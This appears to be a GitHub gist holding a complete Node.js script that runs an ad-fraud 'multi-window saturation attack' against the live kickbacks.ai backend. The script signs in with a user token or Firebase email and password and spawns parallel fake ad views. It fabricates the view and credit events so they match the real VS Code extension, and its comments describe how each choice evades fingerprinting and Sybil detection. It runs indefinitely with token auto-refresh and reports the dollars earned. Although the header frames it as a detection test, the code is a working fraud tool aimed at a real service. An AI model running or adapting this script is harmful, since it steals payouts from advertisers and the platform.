# kickbacks.ai realistic multi-window saturation test v2 — incorporates view_threshold_met fix, DRY counters, and all live-server features (forever, auto-token, dynamic queue observation)

> Source: <https://gist.github.com/Isolyth/d377b167da08599dbec6ff7f37753a2e>
> Published: 2026-06-12 06:55:23+00:00

| // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | |
| // | |
| // This tests whether new server-side detections (per-account aggregate checks, | |
| // duty-cycle heuristics, concurrency limits, device fingerprinting, etc.) can | |
| // stop a multi-window saturation attack that is *byte-for-byte indistinguishable* | |
| // from the real VS Code extension's traffic. | |
| // | |
| // What it does: | |
| // * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or | |
| // signin-email.mjs), or auto-refreshes the token from Firebase email/password. | |
| // * Pulls the live ad portfolio to learn queue depth K + session_tokens. | |
| // * Spawns K parallel "windows" — one per ad — each emitting the exact event | |
| // sequence the real extension uses, with realistic choppy cadence. | |
| // * All windows share ONE client_id and ONE ext tuple, exactly as the real | |
| // extension does when multiple VS Code panels are open on one machine. | |
| // * Tracks credited events vs. rejected/throttled/capped in real time. | |
| // | |
| // Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts): | |
| // * Shows are SHORT and irregular — mostly <5s (zero view_ticks), some | |
| // medium, rare long — not a metronome. | |
| // * view_tick intervals have positive jitter (>= 5000ms), never early. | |
| // * visible_ms on every event is true accrued wall-clock time, not fabricated. | |
| // * view_threshold_met fires the moment locally-accrued visible_ms crosses the | |
| // server-authoritative threshold (from /v1/portfolio), exactly as the real | |
| // client decides when to emit it — self-asserted, server-believed. | |
| // * impression_viewable closes a show with an ODD duration, never a clean | |
| // multiple of 5000. | |
| // * Gaps between shows mimic think -> idle transitions. | |
| // * Surfaces alternate (statusbar / statusline) across windows. | |
| // * A 60s continuous show cap + 20s rest cycle is enforced per window. | |
| // * Metrics payload includes the ext fingerprint tuple {os, arch, os_version, | |
| // editor} and session_nonce, matching every field the real client sends. | |
| // | |
| // Fingerprint invisibility: | |
| // * One client_id (randomBytes(12).toString("hex") — the real format). | |
| // * One ext tuple per run, drawn from the actual Node process so it is | |
| // consistent and realistic (same machine, same environment). | |
| // * Node's default global fetch transport — identical to the VS Code extension | |
| // host. No custom headers, no signature, no attestation. | |
| // * From the server's view this is one install, one user, many open editors. | |
| // The per-(ip, ua, ext) Sybil cluster sees a single client_id, so it never | |
| // trips the multi-device flag regardless of window count. | |
| // | |
| // Requires explicit opt-in so it can never run by accident: | |
| // export KICKBACKS_TOKEN='...' | |
| // node attack-real.mjs --yes-i-own-this-account | |
| // | |
| // Forever mode (runs until Ctrl-C, auto-refreshes token + re-observes queue): | |
| // export KICKBACKS_EMAIL='...' | |
| // export KICKBACKS_PASSWORD='...' | |
| // node attack-real.mjs --yes-i-own-this-account --forever | |
| // | |
| // Environment: | |
| // KICKBACKS_TOKEN bearer token (required unless --forever + email/pw) | |
| // KICKBACKS_EMAIL email for Firebase auto-refresh | |
| // KICKBACKS_PASSWORD password for Firebase auto-refresh | |
| // KICKBACKS_FIREBASE_KEY Firebase API key (default built-in) | |
| // KICKBACKS_BASE backend base URL (default: live) | |
| // DURATION_MS test duration in ms (default 120_000 = 2 min) | |
| // KICKBACKS_WINDOW_COUNT force window count (default = observed queue depth) | |
| // KICKBACKS_QUIET "1" to suppress per-event logging | |
| // KICKBACKS_EDITOR editor name for ext tuple (default: actual env) | |
| import { randomBytes, randomUUID } from "node:crypto"; | |
| import { release } from "node:os"; | |
| // ── safety: explicit opt-in ───────────────────────────────────────────────── | |
| if (!process.argv.includes("--yes-i-own-this-account")) { | |
| console.error("refusing to run without --yes-i-own-this-account"); | |
| process.exit(2); | |
| } | |
| const FOREVER = process.argv.includes("--forever"); | |
| let TOKEN = process.env.KICKBACKS_TOKEN; | |
| const EMAIL = process.env.KICKBACKS_EMAIL; | |
| const PASSWORD = process.env.KICKBACKS_PASSWORD; | |
| const FIREBASE_KEY = process.env.KICKBACKS_FIREBASE_KEY | |
| || "AIzaSyAhvdYkzjBP6ZaTk_e_cxHoGPx_39ljCvA"; | |
| if (!TOKEN && !FOREVER) { | |
| console.error("set KICKBACKS_TOKEN or use --forever with KICKBACKS_EMAIL + KICKBACKS_PASSWORD"); | |
| process.exit(2); | |
| } | |
| if (FOREVER && (!EMAIL || !PASSWORD)) { | |
| console.error("--forever requires KICKBACKS_EMAIL and KICKBACKS_PASSWORD for token auto-refresh"); | |
| process.exit(2); | |
| } | |
| const BASE = process.env.KICKBACKS_BASE | |
| || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | |
| const CC_VERSION = process.env.KICKBACKS_CC_VERSION || "2.1.173"; | |
| const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || "0.4.0"; | |
| const DURATION_MS = Number(process.env.DURATION_MS || 120_000); | |
| const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT | |
| ? Number(process.env.KICKBACKS_WINDOW_COUNT) : null; | |
| const QUIET = process.env.KICKBACKS_QUIET === "1"; | |
| // ── fingerprint (one machine, one install) ────────────────────────────────── | |
| // The real VS Code extension generates client_id with randomBytes(12).toString("hex") | |
| // and persists it in globalState / ~/.kickbacks/auth.json. All windows on the | |
| // same machine share the same id. | |
| const CLIENT_ID = randomBytes(12).toString("hex"); | |
| // The real clientEnv() returns { os: process.platform, arch: process.arch, | |
| // os_version: os.release(), editor: vscode.env.appName }. Since we run in Node | |
| // (the same runtime as the extension host), the first three are natural. The | |
| // editor string defaults to VS Code but can be overridden to match the target. | |
| const EXT = { | |
| os: process.platform, | |
| arch: process.arch, | |
| os_version: release(), | |
| editor: process.env.KICKBACKS_EDITOR || "Visual Studio Code", | |
| }; | |
| // ── faithful constants (cliTick.ts / statusBarAd.ts) ───────────────────────── | |
| const POLL_INTERVAL_MS = 1_000; | |
| const VIEW_TICK_INTERVAL_MS = 5_000; | |
| const FRESH_ACTIVITY_MS = 4_000; | |
| const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick | |
| const AD_SHOW_MAX_MS = 60_000; // max continuous show | |
| const AD_REST_MS = 20_000; // rest after hitting max | |
| const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); | |
| const tickGap = () => VIEW_TICK_INTERVAL_MS + Math.random() * 800; // always >= 5000ms | |
| // ── shared mutable state (background loops write; windows read) ────────────── | |
| const state = { | |
| ads: [], // current portfolio ads | |
| version: 0, // bumped on every portfolio refresh | |
| viewThresholdMs: 15_000, // server-authoritative; updated from /v1/portfolio | |
| }; | |
| // ── token refresh (Firebase email/password) ───────────────────────────────── | |
| async function refreshTokenFromFirebase() { | |
| const url = "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" | |
| + encodeURIComponent(FIREBASE_KEY); | |
| const r = await fetch(url, { | |
| method: "POST", | |
| headers: { "content-type": "application/json" }, | |
| body: JSON.stringify({ email: EMAIL, password: PASSWORD, returnSecureToken: true }), | |
| }); | |
| const j = await r.json(); | |
| if (!r.ok) { | |
| throw new Error(`Firebase sign-in HTTP ${r.status}: ${j?.error?.message || JSON.stringify(j)}`); | |
| } | |
| TOKEN = j.idToken; | |
| console.log(`[token-refresh] new token acquired (expiresIn=${j.expiresIn}s)`); | |
| } | |
| async function tokenRefreshLoop() { | |
| if (!FOREVER) return; | |
| if (!TOKEN) { | |
| console.log("[token-refresh] fetching initial token from Firebase..."); | |
| await refreshTokenFromFirebase(); | |
| } | |
| while (true) { | |
| // Random interval: 20 minutes to 1 hour | |
| const delayMs = 1_200_000 + Math.random() * 2_400_000; | |
| const nextAt = new Date(Date.now() + delayMs); | |
| console.log(`[token-refresh] next refresh at ${nextAt.toISOString()}`); | |
| await sleep(delayMs); | |
| try { | |
| await refreshTokenFromFirebase(); | |
| } catch (e) { | |
| console.error(`[token-refresh] FAILED: ${e.message}`); | |
| console.error("[token-refresh] retrying in 5 minutes..."); | |
| await sleep(300_000); | |
| } | |
| } | |
| } | |
| // ── dynamic portfolio observation ─────────────────────────────────────────── | |
| async function getPortfolio() { | |
| const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, { | |
| headers: { authorization: `Bearer ${TOKEN}`, "content-type": "application/json" }, | |
| }); | |
| if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`); | |
| return r.json(); | |
| } | |
| async function observePortfolioOnce() { | |
| const portfolio = await getPortfolio(); | |
| const ads = portfolio.ads || []; | |
| if (!ads.length) throw new Error("empty portfolio"); | |
| // The threshold is server-authoritative: the client watches its own | |
| // locally-accrued visible_ms and fires view_threshold_met when it decides | |
| // the threshold is crossed. We mirror that by copying the value. | |
| const thresholdMs = (portfolio.view_threshold_seconds || 15) * 1_000; | |
| if (thresholdMs !== state.viewThresholdMs) { | |
| state.viewThresholdMs = thresholdMs; | |
| } | |
| const changed = ads.length !== state.ads.length | |
| || ads.some((a, i) => a.ad_id !== state.ads[i]?.ad_id); | |
| if (changed) { | |
| state.ads = ads; | |
| state.version++; | |
| } | |
| return { ads, changed }; | |
| } | |
| async function doInitialPortfolioFetch() { | |
| const { ads } = await observePortfolioOnce(); | |
| const K = FORCED_K ?? ads.length; | |
| console.log(`[portfolio] initial queue depth K=${ads.length} windows=${K}`); | |
| console.log(`[portfolio] ads = [${ads.slice(0, K).map((a) => a.ad_id).join(", ")}]\n`); | |
| return K; | |
| } | |
| async function portfolioRefreshLoopBg() { | |
| // Periodic re-fetch every 25–80 minutes | |
| while (true) { | |
| const delayMs = 25 * 60_000 + Math.random() * 55 * 60_000; | |
| const nextAt = new Date(Date.now() + delayMs); | |
| console.log(`[portfolio] next observation at ${nextAt.toISOString()}`); | |
| await sleep(delayMs); | |
| try { | |
| const { ads: newAds, changed } = await observePortfolioOnce(); | |
| if (changed) { | |
| const newK = FORCED_K ?? newAds.length; | |
| console.log( | |
| `[portfolio] queue CHANGED — K=${newAds.length} windows=${newK} ` + | |
| `ads=[${newAds.slice(0, newK).map((a) => a.ad_id).join(", ")}]` | |
| ); | |
| } else { | |
| console.log(`[portfolio] queue unchanged (K=${newAds.length})`); | |
| } | |
| } catch (e) { | |
| console.error(`[portfolio-refresh] failed: ${e.message}`); | |
| } | |
| } | |
| } | |
| // ── helpers ───────────────────────────────────────────────────────────────── | |
| async function getEarnings() { | |
| const r = await fetch(`${BASE}/v1/earnings`, { | |
| headers: { authorization: `Bearer ${TOKEN}` }, | |
| }); | |
| if (!r.ok) return null; | |
| return r.json(); | |
| } | |
| async function fireEvent(ad, type, { visibleMs, surface = "statusbar" } = {}) { | |
| const body = { | |
| event_type: type, | |
| ad_id: ad.ad_id, | |
| campaign_id: ad.campaign_id, | |
| client_id: CLIENT_ID, | |
| ts: new Date().toISOString(), | |
| claude_code_version: CC_VERSION, | |
| extension_version: EXT_VERSION, | |
| nonce: randomUUID(), | |
| surface, | |
| session_nonce: randomUUID(), // dedup key the real client sends | |
| ext: EXT, // fingerprint tuple: one machine, one tuple | |
| ...(visibleMs != null | |
| ? { | |
| visible_ms: Math.round(visibleMs), | |
| view_ms: Math.round(visibleMs), // duplicate, real client sends both | |
| view_pct: 100, | |
| viewable: true, | |
| } | |
| : {}), | |
| session_token: ad.session_token, | |
| }; | |
| const t0 = performance.now(); | |
| const r = await fetch(`${BASE}/v1/metrics`, { | |
| method: "POST", | |
| headers: { authorization: `Bearer ${TOKEN}`, "content-type": "application/json" }, | |
| body: JSON.stringify(body), | |
| }); | |
| const latency = performance.now() - t0; | |
| let j; | |
| try { j = await r.json(); } catch { j = {}; } | |
| const didCredit = !!j.credited; | |
| const reason = j.reason || (r.ok ? "ok" : `HTTP_${r.status}`); | |
| if (!QUIET) { | |
| const tag = didCredit ? "CREDITED" : reason; | |
| console.log( | |
| ` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` + | |
| `ms=${String(body.visible_ms ?? "—").padStart(6)} ` + | |
| `lat=${latency.toFixed(0)}ms ${tag}` | |
| ); | |
| } | |
| return { didCredit, reason, latency, status: r.status }; | |
| } | |
| // ── realistic show-length distribution ─────────────────────────────────────── | |
| function sampleShowLen() { | |
| const r = Math.random(); | |
| if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks | |
| if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium | |
| return 20_000 + Math.random() * 35_000; // long (will hit cap) | |
| } | |
| // DRY helper: one line updates credited / rejected / reasons from a fireEvent result. | |
| function note(res, counters) { | |
| if (res.didCredit) counters.credited++; else counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |
| } | |
| } | |
| // ── one "window" pinned by index (reads ad from mutable state each show) ───── | |
| async function runWindow(windowIdx, surface, deadline, counters) { | |
| let showCount = 0; | |
| while (Date.now() < deadline) { | |
| const ad = state.ads[windowIdx % state.ads.length]; | |
| if (!ad) { await sleep(300); continue; } | |
| const showStart = Date.now(); | |
| const effectiveShowMax = Math.min(showStart + sampleShowLen(), showStart + AD_SHOW_MAX_MS); | |
| await fireEvent(ad, "impression_rendered", { surface }); | |
| counters.rendered++; | |
| let lastTick = showStart, nextGap = tickGap(), accruedMs = 0, firedThreshold = false; | |
| while (Date.now() < effectiveShowMax && Date.now() < deadline) { | |
| await sleep(180); | |
| const now = Date.now(); | |
| accruedMs += Math.min(now - lastTick, VISIBLE_GAP_CAP_MS); | |
| lastTick = now; | |
| // view_tick heartbeat (telemetry), faithful jittered cadence. | |
| if (now - showStart >= nextGap) { | |
| note(await fireEvent(ad, "view_tick", { surface, visibleMs: accruedMs }), counters); | |
| counters.viewTick++; | |
| nextGap += tickGap(); | |
| } | |
| // THE credit event: fire once the self-accrued dwell crosses the | |
| // server-set threshold — exactly what the real client's fireViewThresholdMet | |
| // does. visible_ms here is the client's own number; the server can't verify it. | |
| if (!firedThreshold && accruedMs >= state.viewThresholdMs) { | |
| firedThreshold = true; | |
| note(await fireEvent(ad, "view_threshold_met", { surface, visibleMs: accruedMs }), counters); | |
| counters.thresholdMet++; | |
| } | |
| } | |
| note(await fireEvent(ad, "impression_viewable", { surface, visibleMs: Date.now() - showStart }), counters); | |
| counters.viewable++; | |
| showCount++; | |
| const idle = (Date.now() - showStart >= AD_SHOW_MAX_MS - 500) | |
| ? AD_REST_MS : 800 + Math.random() * 3_200; | |
| const until = Date.now() + idle; | |
| while (Date.now() < until && Date.now() < deadline) await sleep(200); | |
| } | |
| counters.shows += showCount; | |
| } | |
| // ── main ───────────────────────────────────────────────────────────────────── | |
| async function main() { | |
| console.log(`\n[attack-real] base = ${BASE}`); | |
| console.log(`[attack-real] mode = ${FOREVER ? "FOREVER (Ctrl-C to stop)" : `${DURATION_MS}ms`}`); | |
| console.log(`[attack-real] client_id = ${CLIENT_ID}`); | |
| console.log(`[attack-real] ext = ${JSON.stringify(EXT)}\n`); | |
| // Kick off background loops early. | |
| if (FOREVER) { | |
| tokenRefreshLoop().catch((e) => { | |
| console.error("[token-refresh] background loop crashed:", e); | |
| process.exit(1); | |
| }); | |
| // If no env token, block until Firebase produces one. | |
| if (!process.env.KICKBACKS_TOKEN) { | |
| let waited = 0; | |
| while (!TOKEN && waited < 15_000) { | |
| await sleep(100); | |
| waited += 100; | |
| } | |
| if (!TOKEN) { | |
| console.error("[attack-real] token refresh never produced a token — aborting"); | |
| process.exit(1); | |
| } | |
| } | |
| } | |
| // Fetch portfolio once (blocking). Forever mode will re-fetch periodically. | |
| const K = await doInitialPortfolioFetch(); | |
| if (FOREVER) { | |
| portfolioRefreshLoopBg(); // fire-and-forget; updates shared state.ads | |
| } | |
| const before = await getEarnings(); | |
| if (!before) { console.error("[attack-real] could not read earnings — is the token valid?"); process.exit(1); } | |
| console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\n`); | |
| const counters = { | |
| rendered: 0, viewTick: 0, viewable: 0, thresholdMet: 0, | |
| credited: 0, rejected: 0, shows: 0, reasons: {}, | |
| }; | |
| const deadline = FOREVER ? Infinity : Date.now() + DURATION_MS; | |
| const startWall = Date.now(); | |
| console.log("[attack-real] firing windows …\n"); | |
| await Promise.all( | |
| Array.from({ length: K }, (_, i) => | |
| runWindow(i, i % 2 ? "statusline" : "statusbar", deadline, counters) | |
| ) | |
| ); | |
| // ── bounded-mode teardown ────────────────────────────────────────────────── | |
| const wallElapsed = Date.now() - startWall; | |
| console.log("\n[attack-real] polling earnings to let async credits settle …"); | |
| let after = before; | |
| for (let i = 0; i < 6; i++) { | |
| await sleep(2_000); | |
| const e = await getEarnings(); | |
| if (e) after = e; | |
| } | |
| const lifetimeDelta = | |
| parseFloat(after.lifetime_usd || "0") - parseFloat(before.lifetime_usd || "0"); | |
| const todayDelta = | |
| parseFloat(after.today_usd || "0") - parseFloat(before.today_usd || "0"); | |
| const eventTotal = counters.rendered + counters.viewTick + counters.viewable + counters.thresholdMet; | |
| const creditRate = counters.credited / Math.max(1, wallElapsed / 1000); | |
| const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000); | |
| console.log("\n" + "═".repeat(72)); | |
| console.log(" RESULTS"); | |
| console.log("═".repeat(72)); | |
| console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`); | |
| console.log(` events sent : ${eventTotal}`); | |
| console.log(` impression_rendered : ${counters.rendered}`); | |
| console.log(` view_tick : ${counters.viewTick}`); | |
| console.log(` view_threshold_met : ${counters.thresholdMet}`); | |
| console.log(` impression_viewable : ${counters.viewable}`); | |
| console.log(` shows completed : ${counters.shows}`); | |
| console.log(` credited events : ${counters.credited}`); | |
| console.log(` rejected/ignored : ${counters.rejected}`); | |
| console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`); | |
| console.log(` ──────────────────────────────────────────────────────────────────────`); | |
| console.log(` lifetime before : $${before.lifetime_usd}`); | |
| console.log(` lifetime after : $${after.lifetime_usd}`); | |
| console.log(` lifetime Δ : $${lifetimeDelta.toFixed(6)}`); | |
| console.log(` today Δ : $${todayDelta.toFixed(6)}`); | |
| console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`); | |
| console.log(" ──────────────────────────────────────────────────────────────────────"); | |
| if (Object.keys(counters.reasons).length) { | |
| console.log(" rejection reasons:"); | |
| for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) { | |
| console.log(` ${reason.padEnd(18)} : ${count}`); | |
| } | |
| } | |
| const pass = counters.credited > 0; | |
| const throttled = (counters.reasons.cooldown || 0) > 0; | |
| const capped = (counters.reasons.daily_cap || 0) > 0; | |
| console.log(" ──────────────────────────────────────────────────────────────────────"); | |
| if (capped) { | |
| console.log(" VERDICT: DAILY CAP hit — the economic brake is engaged."); | |
| } else if (throttled && counters.credited > 0) { | |
| console.log(" VERDICT: COOLDOWN active but credits still flow (expected behavior)."); | |
| } else if (!throttled && !capped && counters.rejected > 0) { | |
| console.log(" VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active."); | |
| } else if (pass) { | |
| console.log(" VERDICT: CREDITS FLOW — no new detection blocked the attack."); | |
| } else { | |
| console.log(" VERDICT: ZERO credits — either cooldown saturation or a new block."); | |
| } | |
| console.log("═".repeat(72) + "\n"); | |
| process.exit(pass ? 0 : 1); | |
| } | |
| main().catch((e) => { console.error(e); process.exit(1); }); |
